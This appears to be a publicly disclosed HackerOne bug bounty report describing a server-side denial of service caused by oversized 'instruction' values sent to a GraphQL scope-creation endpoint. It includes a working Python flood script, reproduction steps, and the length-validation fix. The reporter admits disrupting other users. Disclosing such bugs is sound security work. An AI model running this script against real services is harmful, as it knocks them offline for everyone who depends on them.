HexBrain

HackerOne · Report #887321

Uploading large payload on domain instructions causes server-side DoS

Validstatus
mediumseverity
$2,500bounty
210upvotes
20 Jun 2020disclosed

Summary

This was a DoS vulnerability in a specific endpoint that didn't limit the size of the upload. As explained in the hacker summary, we limited the payload to mitigate the attack.

Note : To everyone who sees this report, if a program accepts DoS vulnerabilities please try to try test carefully as it is not ideal to disrupt services for everyone. I would advise you that when testing for DoS, once you receive an error and get huge amounts of delays please stop immediately, and report right away. Do not do what I did on this report. Thank you!


On the program sandbox I have found that when creating domain instructions when adding a scope there is no input validation which was the cause of the server-side DoS. The character limit on the big input boxes is set to 10k, however with this I observed that there was not any, at first I reported this as a client-side DoS because it would render the scope management page unusable and there was no way to delete it, it was then closed as a duplicate of #584030 however digging further into this, I made a python script that allowed me to upload large amounts of payloads every request I then put it into a loop and around 350+ request I noticed an HTTP 500 Internal Server Error I then stopped to see if I had caused disruption, at first the page were loading fine so I run the python script again (note : I was running this python script on 4 terminals) and again, after a while this is when I noticed disruption on my side, and to confirm I asked the people from discord if they got disruption and they did. They received an a 502, and a 504 HTTP errors, and caused disruption on my side as well.

Python Script (note: you need to put your own cookies if you want to try)


import requests

g = input("Enter : ") 

burp0_url = "https://hackerone.com:443/graphql"
burp0_cookies = x
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://hackerone.com/testingfordos/scopes/new", "content-type": "application/json", "X-Auth-Token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1OTI1MzI0MzV9.qyfpwC--aQXOLd9TQ7l-016rI0wXZ33ocCvL10DU6dc----5047344", "Origin": "https://hackerone.com", "Connection": "close"}

a = ""

for i in range(15000):    
    a += "بٍٍٍٍََُُُِّّّْرٍٍٍٍََُُِِّّّْآٍٍٍَُّ"

for i in range(50):

    burp0_json={"operationName": "CreateStructuredScope", "query": "mutation CreateStructuredScope($team_id: ID!, $asset_type: StructuredScopeAssetTypeEnum, $asset_identifier: String!, $eligible_for_bounty: Boolean, $eligible_for_submission: Boolean, $instruction: String, $availability_requirement: String, $confidentiality_requirement: String, $integrity_requirement: String, $reference: String, $notify_subscribers_of_changes: Boolean, $custom_message: String, $label_ids: [ID!]) {\n  createStructuredScope(input: {team_id: $team_id, asset_type: $asset_type, asset_identifier: $asset_identifier, eligible_for_bounty: $eligible_for_bounty, eligible_for_submission: $eligible_for_submission, instruction: $instruction, availability_requirement: $availability_requirement, confidentiality_requirement: $confidentiality_requirement, integrity_requirement: $integrity_requirement, reference: $reference, notify_subscribers_of_changes: $notify_subscribers_of_changes, custom_message: $custom_message, label_ids: $label_ids}) {\n    was_successful\n    team {\n      id\n      structured_scopes(first: 500) {\n        edges {\n          node {\n            id\n            __typename\n          }\n          __typename\n        }\n        __typename\n      }\n      __typename\n    }\n    errors(first: 100) {\n      edges {\n        node {\n          id\n          type\n          field\n          message\n          __typename\n        }\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n", "variables": {"asset_identifier": str(i) + str(g) + ".com", "asset_type": "URL", "availability_requirement": "high", "confidentiality_requirement": "high", "eligible_for_bounty": True, "eligible_for_submission": True, "instruction": a+a+a+a+a+a+a+a+a+a, "integrity_requirement": "high", "label_ids": [], "notify_subscribers_of_changes": True, "reference": "sadasdasdas", "team_id": "Z2lkOi8vaGFja2Vyb25lL1RlYW0vNDkwNzg="}}

    x = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json)
    print(str(x.status_code) + " Status - Delay : " + str(x.elapsed.total_seconds()) + " seconds")
    print(x._content)

Steps To Reproduce :

  1. Add a domain on Scope Management
  1. Intercept this POST /graphql the one with the "operationName":"CreateStructuredScope"
  2. Now put a huge payload on instruction parameter and keep sending it
  3. Reload pages until disruption is observed

The report was then triaged right 10 mins after reporting, and I was told by @jobert to stop my test. The team then rolled a fix which looked like this :

diff --git a/app/models/structured_scope.rb b/app/models/structured_scope.rb
index f975f383c4..6c3928d2a7 100644
--- a/app/models/structured_scope.rb
+++ b/app/models/structured_scope.rb
@@ -97,7 +97,8 @@ class StructuredScope < ApplicationRecord
     AVAILABILITY_REQUIREMENT,
   ].freeze

-  MAX_INSTRUCTION_LENGTH = 5000
+  MAX_INSTRUCTION_LENGTH = 10000
+  MAX_REFERENCE_LENGTH = 1000

   validates :asset_identifier, presence: true
   validates :asset_type, inclusion: { in: ASSET_TYPES }
@@ -109,7 +110,8 @@ class StructuredScope < ApplicationRecord
   }
   validate :eligibility
   validates_with CountryValidator, fields: [:country], alpha2: true
-  validates :instruction, length: { maximum: MAX_INSTRUCTION_LENGTH }, on: :create
+  validates :instruction, length: { maximum: MAX_INSTRUCTION_LENGTH }
+  validates :reference, length: { maximum: MAX_REFERENCE_LENGTH }

As you can see, there is now input validation to this which immediately stopped the server-side DoS from happening as it would block the request. Again, please test responsibly for DoS vulnerabilities responsibly don't cause harm to program's services. Thank you! :)

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original